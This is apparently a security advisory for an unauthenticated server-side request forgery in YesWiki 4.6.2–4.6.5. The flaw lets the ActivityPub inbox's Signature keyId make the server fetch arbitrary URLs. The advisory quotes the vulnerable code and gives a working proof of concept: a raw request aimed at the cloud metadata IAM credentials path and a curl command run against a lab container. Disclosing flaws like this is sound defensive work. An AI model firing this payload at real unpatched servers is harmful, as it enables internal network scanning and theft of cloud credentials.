From version 4.6.2 to before version 4.6.6, the POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:\"public\" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form. This issue has been patched in version 4.6.6."

An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = \u00271\u0027`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** \u2014 `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83\u2013100)\npublic function verifySignature(Request $request) {\n    if (!$request-\u003eheaders-\u003ehas(\u0027Signature\u0027)) {\n        throw new Exception(\u0027No signature\u0027);\n    }\n\n    $sigConf = parse_ini_string(\n        strtr($request-\u003eheaders-\u003eget(\u0027Signature\u0027), [\",\" =\u003e \"\\n\"])           // (a) attacker controls every field\n    );\n\n    if (!isset($sigConf[\u0027keyId\u0027],$sigConf[\u0027algorithm\u0027],$sigConf[\u0027headers\u0027],$sigConf[\u0027signature\u0027])) {\n        throw new Exception(\u0027Malformed signature\u0027);\n    }\n\n    $response = $this-\u003ehttpClient-\u003erequest(\u0027GET\u0027, $sigConf[\u0027keyId\u0027], [    // (b) SINK \u2014 no validation,\n        \u0027headers\u0027 =\u003e [ \u0027Accept\u0027 =\u003e \u0027application/ld+json\u0027]                 //     no allowlist, no scheme\n    ]);                                                                  //     pinning, no IP filtering\n    ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php  (lines 125\u2013145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n    $activityPubService   = $this-\u003egetService(ActivityPubService::class);\n    $httpSignatureService = $this-\u003egetService(HttpSignatureService::class);\n\n    $form = $this-\u003egetService(BazarListService::class)-\u003egetForms([\u0027idtypeannonce\u0027 =\u003e $formId])[$formId];\n\n    if ($activityPubService-\u003eisEnabled($form)) {\n        $activity = json_decode($request-\u003egetContent(), true);\n\n        $httpSignatureService-\u003everifySignature($request);     // \u003c-- SSRF fires here\n        $activityPubService-\u003eprocessActivity($activity, $form);\n        return new ApiResponse(null, Response::HTTP_OK, \u2026);\n    } else {\n        throw new NotFoundHttpException();\n    }\n}\n```\n\nThe flow is **public ACL \u2192 enabled-form gate \u2192 unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient-\u003erequest(\u0027GET\u0027, \u0027\u003cattacker URL\u003e\u0027)`.\n* YesWiki\u0027s server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn\u0027t contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n    \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n     FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n     -d \u0027{}\u0027 \\\n     -w \u0027\\n  HTTP %{http_code}, elapsed=%{time_total}s\\n\u0027\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:\u2026\"}\n  HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse \u2014 the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n\u003cimg width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" /\u003e",
